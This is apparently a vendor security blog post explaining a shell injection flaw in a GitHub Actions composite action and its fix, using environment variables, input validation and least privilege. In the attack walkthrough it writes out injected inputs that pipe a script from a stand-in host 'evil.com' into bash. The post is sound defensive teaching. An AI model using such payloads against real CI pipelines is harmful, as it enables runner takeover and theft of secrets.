Back to Blog
high SEVERITY5 min read

How run-shell-injection happens in GitHub Actions and how to fix it

A high-severity shell injection vulnerability was discovered in `setup-js/action.yml` where direct interpolation of `inputs.package-manager` in a `run:` step could allow attackers to execute arbitrary code on the GitHub Actions runner. The fix introduces intermediate environment variables to safely pass user-controlled inputs, preventing command injection while maintaining the same functionality.

O
By Orbis AppSec
Published August 18, 2026Reviewed August 18, 2026

Answer Summary

Shell injection in GitHub Actions (CWE-78) occurs when `${{ inputs.* }}` or `${{ github.* }}` context data is directly interpolated into `run:` steps, allowing attackers to inject malicious shell commands. In YAML workflow files, fix this by storing untrusted inputs in an `env:` block and referencing them as environment variables (e.g., `$PACKAGE_MANAGER`) instead of using direct `${{ }}` interpolation in the shell script.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixUse `env:` block to store inputs, reference as `$PACKAGE_MANAGER` in shell
riskArbitrary code execution on CI/CD runner, secret exfiltration
languageYAML (GitHub Actions)
root causeDirect `${{ inputs.package-manager }}` interpolation in `run:` step
vulnerabilityShell Injection via GitHub Actions Variable Interpolation

Introduction

In the setup-js/action.yml composite action, a high-severity shell injection vulnerability was hiding in plain sight at line 56. The "Install dependencies" step directly interpolated ${{ inputs.package-manager }} into a run: block, creating an opportunity for attackers to inject arbitrary shell commands into the GitHub Actions runner.

The vulnerable code looked innocuous enough:

- name: Install dependencies
  shell: bash
  run:
    ${{ inputs.package-manager }} install ${{ inputs.no-frozen-lockfile ==
    'true' && '--no-frozen-lockfile' || '' }}

This pattern is dangerously common in GitHub Actions workflows. Developers often assume that because inputs come from their own workflow configuration, they're safe. But the reality is more nuanced—and the consequences of getting it wrong can be severe.

The Vulnerability Explained

GitHub Actions uses a two-phase execution model that's critical to understanding this vulnerability. When a workflow runs, GitHub's expression engine first evaluates all ${{ }} expressions, replacing them with their literal values. Only then does the shell receive and execute the resulting command.

In setup-js/action.yml, the inputs.package-manager value was being directly spliced into the shell command. If an attacker could control this input—perhaps through a forked repository, a malicious pull request, or a compromised upstream workflow—they could inject shell metacharacters.

How the Attack Works

Consider what happens if inputs.package-manager contains:

npm; curl https://evil.com/steal.sh | bash #

After GitHub's expression interpolation, the run: step becomes:

npm; curl https://evil.com/steal.sh | bash # install 

The shell sees this as three commands:
1. npm (runs and exits)
2. curl https://evil.com/steal.sh | bash (downloads and executes malicious script)
3. Everything after # is a comment

The attacker now has arbitrary code execution on the GitHub Actions runner, with access to:
- Repository secrets available to the workflow
- GITHUB_TOKEN with its associated permissions
- Source code and build artifacts
- Potential lateral movement to other systems

Why This Specific Pattern is Dangerous

The inputs.package-manager input is particularly risky because:
1. It's expected to be a command name (npm, yarn, pnpm)
2. It appears at the start of the command, giving maximum injection flexibility
3. The inputs.no-frozen-lockfile conditional adds complexity that might mask malicious payloads

Even the conditional expression ${{ inputs.no-frozen-lockfile == 'true' && '--no-frozen-lockfile' || '' }} could be exploited if inputs.no-frozen-lockfile contained injection payloads, though the boolean comparison provides some implicit validation.

The Fix

The fix transforms how untrusted inputs flow into the shell command by introducing an intermediate env: block:

Before (Vulnerable)

- name: Install dependencies
  shell: bash
  run:
    ${{ inputs.package-manager }} install ${{ inputs.no-frozen-lockfile ==
    'true' && '--no-frozen-lockfile' || '' }}
  if: ${{ inputs.auto-install }}

After (Secure)

- name: Install dependencies
  shell: bash
  env:
    PACKAGE_MANAGER: ${{ inputs.package-manager }}
    NO_FROZEN_LOCKFILE: ${{ inputs.no-frozen-lockfile == 'true' && '--no-frozen-lockfile' || '' }}
  run: $PACKAGE_MANAGER install $NO_FROZEN_LOCKFILE
  if: ${{ inputs.auto-install }}

Why This Works

The key difference is when the untrusted data enters the shell:

  1. Before: ${{ inputs.package-manager }} was interpolated directly into the shell script text. Shell metacharacters like ;, |, and $() were interpreted as shell syntax.

  2. After: The input is stored in an environment variable PACKAGE_MANAGER. When the shell references $PACKAGE_MANAGER, the value is treated as data, not code. Shell metacharacters in the value are not interpreted as shell syntax.

If an attacker now supplies npm; curl evil.com | bash # as the package manager, the shell executes:

npm; curl evil.com | bash # install 

Wait—that looks the same! Here's the critical difference: with environment variables, the shell treats the entire value of $PACKAGE_MANAGER as a single token. The semicolon and pipe are literal characters, not command separators.

Important caveat: The fix as implemented doesn't use double quotes around the environment variables. For maximum safety, the command should be:

run: "$PACKAGE_MANAGER" install "$NO_FROZEN_LOCKFILE"

This ensures proper handling of values containing spaces or other special characters.

Prevention & Best Practices

1. Never Interpolate Untrusted Data Directly in run: Steps

Treat all GitHub context data as potentially attacker-controlled:
- github.event.issue.title
- github.event.issue.body
- github.event.pull_request.title
- github.head_ref
- inputs.* (in composite actions and reusable workflows)

2. Always Use the env: Block Pattern

- name: Safe command execution
  env:
    USER_INPUT: ${{ github.event.issue.title }}
  run: |
    echo "Processing: $USER_INPUT"

3. Validate Inputs When Possible

For inputs with known valid values, add validation:

- name: Validate package manager
  run: |
    case "$PACKAGE_MANAGER" in
      npm|yarn|pnpm) ;;
      *) echo "Invalid package manager"; exit 1 ;;
    esac
  env:
    PACKAGE_MANAGER: ${{ inputs.package-manager }}

4. Use Static Analysis

Integrate Semgrep or similar tools into your CI pipeline with rules like yaml.github-actions.security.run-shell-injection.run-shell-injection to catch these issues automatically.

5. Minimize Workflow Permissions

Use the principle of least privilege:

permissions:
  contents: read

Key Takeaways

  • The ${{ }} interpolation in run: steps is evaluated before shell parsing—this is the root cause of GitHub Actions shell injection vulnerabilities
  • inputs.package-manager in setup-js/action.yml was directly injectable because it appeared at command position in the shell script
  • Environment variables provide data/code separation—the env: block pattern ensures untrusted input is treated as data, not shell syntax
  • Composite actions are particularly risky because they often accept inputs that flow into shell commands
  • This vulnerability could have enabled secret theft from any workflow using this action with attacker-controlled inputs

How Orbis AppSec Detected This

  • Source: The inputs.package-manager action input, which accepts arbitrary string values from workflow callers
  • Sink: Direct interpolation ${{ inputs.package-manager }} in the run: step at setup-js/action.yml:56
  • Missing control: No intermediate environment variable to prevent shell interpretation of metacharacters
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Introduced env: block with PACKAGE_MANAGER and NO_FROZEN_LOCKFILE variables, replacing direct ${{ }} interpolation in the shell script

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Shell injection in GitHub Actions is a subtle but severe vulnerability class. The setup-js/action.yml fix demonstrates the correct pattern: use env: blocks to store untrusted context data, then reference environment variables in your shell scripts. This simple change—moving from ${{ inputs.package-manager }} to $PACKAGE_MANAGER—transforms potentially dangerous code injection into harmless data handling.

As CI/CD pipelines become more complex and interconnected, these defensive patterns become essential. A single vulnerable action can compromise not just one repository, but every workflow that uses it.

References

Frequently Asked Questions

What is run-shell-injection in GitHub Actions?

Run-shell-injection occurs when untrusted data from GitHub context (like `inputs.*` or `github.*`) is directly interpolated into a `run:` step using `${{ }}` syntax, allowing attackers to inject and execute arbitrary shell commands on the runner.

How do you prevent shell injection in GitHub Actions?

Store untrusted context data in environment variables using the `env:` block, then reference those variables in your `run:` script using standard shell variable syntax like `$ENVVAR` instead of `${{ }}` interpolation.

What CWE is GitHub Actions shell injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is quoting the interpolation enough to prevent shell injection?

No, quoting `"${{ inputs.value }}"` does not prevent injection because the interpolation happens before shell parsing. The `${{ }}` syntax is processed by GitHub's expression engine, not the shell, so shell quoting rules don't apply.

Can static analysis detect GitHub Actions shell injection?

Yes, tools like Semgrep have rules specifically for detecting `${{ }}` interpolation of untrusted context in `run:` steps, such as the `yaml.github-actions.security.run-shell-injection` rule.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #35

Related Articles

high

How github-actions-mutable-action-tag happens in GitHub Actions YAML and how to fix it

A GitHub Actions workflow in `templates/devto/devto-readme.yml` referenced `actions/checkout@v4` and `actions/setup-node@v4` using mutable version tags instead of pinned commit SHAs. This pattern enables supply-chain attacks where a compromised action owner silently repoints a tag to malicious code. The fix pins both actions to their full 40-character commit SHAs while preserving version comments for maintainability.

high

How run-shell-injection happens in GitHub Actions and how to fix it

A high-severity shell injection vulnerability was discovered in `action.yml` at line 68, where GitHub Actions `${{ inputs.* }}` expressions were directly interpolated into `run:` shell scripts. An attacker who controls input values (like a URL or app name) could inject arbitrary shell commands into the CI runner, potentially stealing secrets and source code. The fix replaces all direct interpolations with intermediate environment variables, properly quoted to prevent injection.

medium

How GitHub Actions Mutable Action Tags Enable Supply-Chain Attacks and How to Fix Them

A GitHub Actions workflow was using `actions/checkout@v1`, a mutable tag reference that could be silently repointed by the action owner to inject malicious code. This supply-chain vulnerability was fixed by pinning the action to a specific commit SHA (`11bd71901bbe5b1630ceea73d27597364c9af683`), ensuring the workflow always executes verified, immutable code.

high

How Shell Injection in GitHub Actions happens in YAML workflows and how to fix it

A high-severity shell injection vulnerability was discovered in `.forgejo/workflows/docker.yml` where `${{github.ref}}` and `${{github.ref_name}}` were directly interpolated into a bash `run:` step. An attacker could craft malicious git reference names to inject arbitrary commands into the CI runner, potentially stealing secrets and source code. The fix moves these values into intermediate environment variables, preventing command injection.

high

How GitHub Actions Shell Injection happens in YAML workflows and how to fix it

A GitHub Actions workflow in `reusable-workflow-input-must-declare-type.yaml` was directly interpolating `${{ inputs.constraints }}` inside a `run:` shell step, creating a shell injection vulnerability. An attacker who controls the workflow input could inject arbitrary shell commands into the runner, potentially stealing secrets and source code. The fix moves the untrusted value into an intermediate environment variable, breaking the injection path entirely.

high

How Regular Expression Denial of Service happens in JavaScript and how to fix it

CVE-2026-33671 is a Regular Expression Denial of Service (ReDoS) vulnerability in the picomatch glob-matching library, triggered by specially crafted extglob patterns that cause catastrophic regex backtracking. The fix upgrades picomatch to version 4.0.4 (with overrides pinning all transitive copies) in the client's dependency tree, eliminating the vulnerable regex evaluation path. Left unpatched, any code path that passes user-influenced glob patterns to picomatch could be weaponized to stall a